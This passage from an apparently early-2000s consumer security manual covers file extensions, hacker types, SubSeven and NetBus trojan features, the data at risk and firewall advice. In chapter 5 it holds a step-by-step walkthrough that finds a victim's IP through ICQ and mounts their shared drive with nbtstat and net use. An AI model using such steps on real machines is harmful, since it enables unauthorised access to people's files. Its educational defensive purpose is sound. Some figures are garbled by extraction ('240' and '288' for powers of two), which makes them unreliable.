I’ll show you what normal extensions should be for different types
of files and what type of files should never come in .exe formats.
We’ll start with something I’m sure most if not all folks have had
happen to them at least once.
PICTURES
Ever had someone send you a picture of themselves? If you
hang around on a chat site of any kind then chances are
you’ve met someone or a group of people perhaps who’ve
wanted to send you their picture. If they did then hopefully it
was not in the form of (mypic.exe). If it was you may want
to run a virus check on those files in particular.
Chapter 3
2 1
For all intensive purposes pictures should really only come in the
formats listed below.
• Jpg (jpeg) For example (steve.jpg)
• Bmp (bitmap) For example (steve.bmp)
• TIFF (Tag Image File Format)
For example (steve.tiff)
• Gif (Graphics Interchange Format)
For example (steve.gif)
These are all legitimate!
Your browser can view almost all of these files short of the tiff
format. Other programs that can be used to view these files are
Photoshop, Paintshop, Netscape, Internet Explorer and Imaging
just to name a few.
WARNING!
These are the file types by which images should come as.
Anything else should be unacceptable. There is no reason to
have an Image of any kind come as a .exe file. Don’t ever
accept the excuse that it’s an auto extracting image file!
READ ME AND TEXT FILES
Almost all program information documents on the net come in
one of these formats. These files are simply information
documents typed up in some word processing program or text
editor.
2 2
Some examples of their extensions are:
• DOC Document format for Microsoft Word, Word.
Example: (readme.doc)
• TXT Text format file can be opened by Notepad, Word,
Microsoft Word.
Example: (readme.txt)
• RTF (Rich Text Format)
Those are all acceptable legitimate formats. The truth is that a
text files can come in almost any format. However there are
formats that they really should never come in.
For Example:
•
•
•
There is no reason for any files to be sent to you in any of the
above formats if they are text documents. I can also assure you
there is no reason a file should have a double extension. Such
files if you should ever receive them should be treated with
suspicion.
By no means should you ever open a file if you do not
know what type of file it is.
2 3
If you are uncertain about what a file type is here is a method by
which you can check. Go to your favorite search engine for
example:
Altavista: http://www.altavista.com
Or
Metacrawler: http://www.metacrawler.com
• Click into the search field
(Then type the file type you are inquiring about for example)
• Doc file type
• Exe file type
• Rtf file type
This will pull up sites that will give a more detailed explanation of
exactly what type of file it is.
You can use the above information to better understand what
type of files you receive from individuals. Without risking
installing anything on your machine.
We’ve covered methods by which your computer can be accessed
by a Netbios Attack, how files can be infected, and how they can
be delivered. In Chapter 4 we’ll discuss who is responsible for
these attacks. We will look at the type of individuals behind the
keyboard responsible for these attacks.
2 4
WHO ARE HACKERS?
I feel it is necessary to clarify the term hacker. Perhaps your
definition of a hacker has been influenced and tainted over the
years. There have been various computer related activities
attributed to the term “hacker”, but were greatly misunderstood.
Unfortunately for the people who are truly defined within the
underground tech world as a “hacker” this is an insult to them.
There are various types of “hackers”, each with their own
agenda. My goal is to help protect you from the worst of them.
Anarchist Hackers
These are the individuals who you should be weary of. Their sole
intent on system infiltration is to cause damage or use
information to create havoc. They are primarily the individuals
who are responsible for the majority of system attacks against
home users. They are more likely to be interested in what lies on
another person’s machine for example yours.
Mostly you’ll find that these individuals have slightly above
computer skill level and consider themselves hackers. They
glorify themselves on the accomplishments of others. Their idea
Chapter 4
2 5
of classing themselves as a hacker is that of acquire programs
and utilities readily available on the net, use these programs with
no real knowledge of how these applications work and if they
manage to “break” into someone’s system class themselves as a
hacker. These individuals are called “Kiddie Hackers.”
They use these programs given to them in a malicious fashion on
anyone they can infect. They have no real purpose to what they
are doing except the fact of saying “Yeah! I broke into
friends.
If there is any damage to occur in a system being broken into
these individuals will accomplish it.
These individuals are usually high school students. They brag
about their accomplishments to their friends and try to build an
image of being hackers.
Hackers
A hacker by definition believes in access to free information.
They are usually very intelligent people who could care very little
about what you have on your system. Their thrill comes from
system infiltration for information reasons. Hackers unlike
“crackers and anarchist” know being able to break system
security doesn’t make you a hacker any more than adding 2+2
makes you a mathematician. Unfortunately, many journalists
and writers have been fooled into using the word ‘hacker.” They
have attributed any computer related illegal activities to the term
“hacker.”
Real hackers target mainly government institution. They believe
important information can be found within government
institutions. To them the risk is worth it. The higher the security
the better the challenge. The better the challenge the better they
need to be. Who’s the best keyboard cowboy? So to speak!
These individuals come in a variety of age classes. They range
from High School students to University Grads. They are quite
2 6
adept at programming and are smart enough to stay out of the
spotlight.
They don’t particularly care about bragging about their
accomplishments as it exposes them to suspicion. They prefer to
work from behind the scenes and preserve their anonymity.
Not all hackers are loners, often you’ll find they have a very tight
circle of associates, but still there is a level of anonymity between
them. An associate of mine once said to me “if they say they are
a hacker, then they’re not!”
Crackers
For definition purposes I have included this term. This is
primarily the term given to individuals who are skilled at the art
of bypassing software copyright protection. They are usually
highly skilled in programming languages.
They are often confused with Hackers. As you can see they are
similar in their agenda. They both fight security of some kind,
but they are completely different “animals.”
Being able to attribute your attacks to the right type of attacker is
very important. By identifying your attacker to be either an
Anarchist Hacker or a Hacker you get a better idea of what you’re
up against.
“Know your enemy and know yourself and you will always be
victorious...”
2 7
TOOLS OF THE TRADE
What is a carpenter without a hammer? “Hackers” require tools
in order to attempt to compromise a systems security. Some
tools are readily available and some are actually written by other
hackers, with the sole intent of being used for system break-ins.
Some “hackers’ use a little ingenuity with their attacks and don’t
necessarily rely on any particular tool. In the end however it
boils down to they need to infect your system in order to
compromise it.
To better understand the means by which “hackers” compromise
system security I feel it important to understand what tools they
use. This will give you as a user insight as to what exactly they
look for and how they obtain this information. In this section, I
also explain how these tools are used in conjunction with each
other.
Chapter 5
2 8
Port Scanners
What is a port scanner?
A port scanner is a handy tool that scans a computer looking
for active ports. With this utility, a potential “hacker” can
figure out what services are available on a targeted computer
from the responses the port scanner receives. Take a look at
the list below for reference.
Starting Scan.
Target Host: http://www.yourcompany.com
TCP Port :7 (echo)
TCP Port :9 (discard)
TCP Port :13 (daytime)
TCP Port :19 (chargen)
TCP Port :21 (ftp)
TCP Port :23 (telnet)
TCP Port :25 (smtp)
TCP Port :37 (time)
TCP Port :53 (domain)
TCP Port :79 (finger)
TCP Port :80 (www)
TCP Port :110 (pop)
TCP Port :111 (sunrpc)
Finished.
Scanning for open ports is done in two ways. The first is to
scan a single IP address for open ports. The second is to scan
a range of IP address to find open ports.
Try to think about this like calling a single phone-number of
say 555-4321 and asking for every extension available. In
relation to scanning, the phone-number is equivalent to the IP
address and the extensions to open ports.
2 9
Scanning a range of IP address is like calling every number
between 555-0000 to 555-9999 and asking for every
extension available at every number.
Q. What does a port scanner look like?
Trojans
Trojans are definitely one of the tools that “hackers” use.
There are hundreds of Trojans. To list them all would make
this manual extremely long. For definition purposes we’ll focus
on a couple.
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Sub Seven
The Sub Seven Trojan has many features and capabilities. It
is in my opinion by far the most advance Trojan I have seen.
Take a look at some of the features of Sub Seven.
• address book
• WWP Pager Retriever
• UIN2IP
• remote IP scanner
• host lookup
• get Windows CD-KEY
• update victim from URL
• ICQ takeover
• FTP root folder
• retrieve dial-up passwords along with phone numbers
and usernames
• port redirect
• IRC bot. for a list of commands
• File Manager bookmarks
• make folder, delete folder [empty or full]
• process manager
• text 2 speech
• Restart server
• Aol Instant Messenger Spy
• Yahoo Messenger Spy
• Microsoft Messenger Spy
• Retrieve list of ICQ uins and passwords
• Retrieve list of AIM users and passwords
• App Redirect
• Edit file
• Perform clicks on victim's desktop
• Set/Change Screen Saver settings [Scrolling Marquee]
• Restart Windows [see below]
• Ping server
• Compress/Decompress files before and after transfers
• The Matrix
• Ultra Fast IP scanner
• IP Tool [Resolve Host names/Ping IP addresses]
Continued…
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• Get victim's home info [not possible on all servers]:
- Address
- Bussiness name
- City
- Company
- Country
- Customer type
- E-Mail
- Real name
- State
- City code
- Country code
- Local Phone
- Zip code
And more…
I think you get the picture of just exactly what that Trojan
is capable of. Here is a picture of what SubSeven looks
like.
3 2
Netbus:
NetBus is an older Trojan however nonetheless is still used.
It consists of a server and a client-part. The serverpart
is the program which must be running on your
computer. This should give you an idea of what Netbus is
capable of.
Netbus Features:
• Open/close the CD-ROM once or in intervals (specified in
seconds).
• Show optional image. If no full path of the image is given it
will look for it in the Patch-directory. The supported imageformats
is BMP and JPG.
• Swap mouse buttons – the right mouse button gets the left
mouse button’s functions and vice versa.
• Start optional application.
• Play optional sound-file. If no full path of the sound-file is
given it will look for it in the Patch-directory. The supported
sound-format is WAV.
• Point the mouse to optional coordinates. You can even
navigate the mouse on the target computer with your own.
• Show a message dialog on the screen. The answer is always
sent back to you.
• Shutdown the system, logoff the user etc.
• Go to an optional URL within the default web-browser.
• Send keystrokes to the active application on the target
computer. The text in the field ”Message/text” will be
inserted in the application that has focus. (”|” represents
enter).
• Listen for keystrokes and send them back to you.
• Get a screendump (should not be used over slow
connections).
• Return information about the target computer.
• Upload any file from you to the target computer. With this
feature it will be possible to remotely update Patch with a
new version.
3 3
• Increase and decrease the sound-volume.
• Record sounds that the microphone catch. The sound is sent
back to you.
• Make click sounds every time a key is pressed.
• Download and deletion of any file from the target. You
choose which file you wish to download/delete in a view that
represents the harddisks on the target.
• Keys (letters) on the keyboard can be disabled.
• Password-protection management.
• Show, kill and focus windows on the system.
• Redirect data on a specified TCP-port to another host and
port.
• Redirect console applications I/O to a specified TCP-port
(telnet the host at the specified port to interact with the
application).
• Configure the server-exe with options like TCP-port and mail
notification.
This is what the Netbus client looks like.
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Joiners
Earlier you saw me make references to utilities that
combine two executable files into one. That’s what these
programs are. These programs make it possible to hide the
Trojans in legitimate files.
ICQ
Though as itself is not a utility for hacking there are
program files written by Un-named programmers for it.
The more advance Trojans have the ability to notify the
“hacker” via ICQ of whether or not you are online. Given
that you are infected with a Trojan.
If you are not infected then ICQ can serve as a Utility to
give away your IP address. Currently there are
files/programs available on the net that allows you to
“patch” ICQ so it reveals the IP numbers of anyone on the
“hackers” list. There are also files that allow you add users
in ICQ without their authorization or notification.
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For demonstration purposes let’s see how a hack would go
if a hacker with the above mentioned utilities were to
attempt to hack into a users machine.
Hack 1:
Objective: Obtain entry to the users machine.
Step1: Obtain user’s ICQ #
Step2: Add User to ICQ list
Step3: Use Get Info on user
Step4: Record User’s IP address
Step5: Start a dos prompt
Step6: nbtstat –A
Step7: Look for hex code <20>
Step8: (Assuming a hex of <20> is there) net view
\\ip_address.
Step9: See what shares are available we’ll say “C” is being
shared.
Step10: net use x: \\ip_address\c
Access to the user’s machine has been achieved.
In the above scenario our “potential hacker” used the patch
programs available for ICQ to gain the IP address of the
“victim” and then launch his assault.
With the realization of how an “individual” can gain access
to your machine let’s move on to Chapter 6. We will
discuss what’s at risk once your computer has been
compromised.
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ACCESS GRANTED
Quite often I hear comments like “so what if they hack into my
system there’s nothing on my system of interest.” I can’t tell you
how more wrong you can be. The only thing I can think of when
I hear someone say that is that person is not aware of just what
type of information they have access to.
I’ll show you exactly what type of information a “hacker” has
access to once your system has been broken into. Try to
remember this is not meant to scare you, it is meant to inform
you. Keep in mind you are reading this manual to gain a better
understanding of how to protect your-self.
Chapter 6
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Bank Account Information
I’m sure if you’re like most people you have web banking of some
kind. You probably pay your bills online via your banks website.
Most banks require you to use 128bit encryption browsers to do
your banking online. This form of banking online does encrypt
your information and protect it from otherwise prying eyes of the
world that may wish to gain access to such vital information.
This should further illustrate how powerful the encryption method
is:
• 40-bit encryption, means there are 240 possible keys
that could fit into the lock that holds your account
information. That means there are many billions (a 1
followed by 12 zeroes) of possible keys.
• 128-bit encryption, means there are 288 (a three
followed by 26 zeroes) times as many key combinations
than there are for 40-bit encryption. That means a
computer would require exponentially more processing
power than for 40-bit encryption to find the correct key.
That’s a very powerful method of encrypting data sent from your
machine to the banks machine. Unfortunately it’s useless to you
once your computer has been compromised.
Question: How?
One of the features of a “Trojan” is a key logger. The principle
behind this is all keystrokes pressed will be recorded and sent
back to the “hacker.”
What sort of information do you enter when you are banking
online?
Most banks have a login screen of some kind, where you type in
your username and password. Here’s where it gets interesting.
This means that once you type your login and password for your
online bank account the “hacker” now has access to that.
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You’re probably asking yourself well “How do they know what
bank I’m with?”
This information is easily achieved by doing what is called a
screen shot. This gives the “hacker” a picture of your desktop
and all windows currently open at the time. The screen shot
would look like this.
From that screen shot they can tell what site you are at (in which
case it would be your bank). From there it’s just a matter of
logging into your bank account and doing whatever they want.
As you can see although you are on a secure web site, it still
doesn’t protect your information once your computer is
compromised.
Perhaps there are some of you who do not use online banking.
Perhaps you use another program for managing your finances.
There is a variety of programs out there available for financial
purposes.
Problem is that once a “hacker” has access to your system, they
have access to those files. They can copy the files from your
computer to theirs and browse through them at their leisure.
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Email
Simply put all emails sent to you are accessible to a “hacker”
once your system has been compromised. They can read them
and possibly check your mail before you do.
Pictures
If you have pictures of yourself or family members on your
system, they are also available to the “hacker.” I don’t think I
need to explain the danger here. Not only has the individual
compromised your computer system, they also know what you
look like.
Resume
This may not sound like a priority file for a “hacker” but stay with
me for a second. How many of you have resumes typed up on
your computers? I’m sure a lot of you do. If a “hacker” were to
download your resume they now have access to:
Name:
Address:
Phone:
Workplace:
Add to that the above and let’s take a look at what they know.
• Email address of friends, family, associates.
• Your home address.
• Phone Number
• What you look like
• Where you work (And have worked)
• Bank Account (including how much money you have)
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It doesn’t stop there either. Those are just a few of the things
that can happen when your system is compromised. This is no
science fiction these are real life possibilities. The extent of that
information was gathered just from files on your system. Take
into consideration the following.
SURVELLANCE VIA INTERNET CONNECTION
Make no mistake this is very real. Depending on how much you
read and how much you know about Trojans you are probably
aware of what I am talking about.
If you are not aware, then I am referring to the ability to
effectively turn your computer into an audio/video survellance
unit without you knowing.
Question: How?
Answer: How many of you have Webcams? How many of you
have Microphones?
Not all Trojans have the ability to access your Web Cam and
Microphone. The ones that do, have the ability to turn your
computer into a video/audio survellance camera.
The Trojan records the sounds in a room via your microphone
and then sends the file back to the “hacker.” The hacker then
plays the file back and can hear any sounds recorded in the
room. Add to that since the recording is a file they can play it
back whenever they want to who ever they want.
By the same method they access your Web Cam effectively
getting both a video and audio feed from your house of what is
currently going on in that room.
That sounds crazy, but I can assure you it is not. I don’t think I
need to tell you what type of security hazard this represents to
you and your family.
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By now you are probably worried/scared of the possible
vulnerabilities of your computer. Don’t be. In Chapter 7 we will
discuss methods to protect yourself from these individuals.
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HOW TO PROTECT YOURSELF
There is a saying that goes “Prevention is better than cure.”
After reading this manual hopefully you are looking for ways to
protect your privacy. Take it back from those who may invade it.
The individuals who are responsible for these attacks will always
prey off those who do not take an interest in defending their
privacy.
“Give a man a fish and he’ll eat for the day. Teach a man how to
fish and he’ll never starve.”
By showing you steps and procedures you can use to protect
your system from being hacked, you’ll quickly regain your sense
of security.
Chapter 7
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FIREWALLS
A firewall in layman terms is essentially a program which filters
network data to decide whether or not to forward them to their
destination or to deny it.
These programs will generally protect you from inbound “net
attacks.” This means unauthorized network request from foreign
computers will be blocked.
I cannot stress how important it is in this day and age to have a
firewall of some kind installed and “running” on your computer.
I personally recommend that you use one of the following or both
if you can.
Black Ice Defender
This is a very user-friendly comprehensive firewall program. I
highly recommend it to both advance and novice users. It has a
simple graphical interface that is easy to understand and pleasing
to the eye.
It detects your attacker, stops their attack and or scan and gives
you as much information available on the “attacker.”
You can download Black Ice Defender at:
http://www.networkice.com
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Lockdown 2000
I also recommend Lockdown 2000 as a security measure.
Lockdown2000 has a very nice graphical interface to it also and is
user friendly. It does the same thing Black Ice Defender does but
also runs scans on your system for Trojans. It monitors your
registry and system files for changes that occur. Then gives you
the option of either undoing all the changes or allowing it.
You can obtain a copy of Lockdown2000 from:
http://www.lockdown2000.com
I find using both firewalls in conjunction with each other works
quite well. As they both compensate for the short-comings of the
other.
Anti Virus Software
This is also another piece of software you should by all means
have on your system. We all know it’s a necessity however we
are all guilty of not using them.
There are numerous anti-virus software out there. Norton
Antivirus and Mcafee are two of the more common ones. They
are all good and do their job.
You can find each of these programs at:
http://www.norton.com
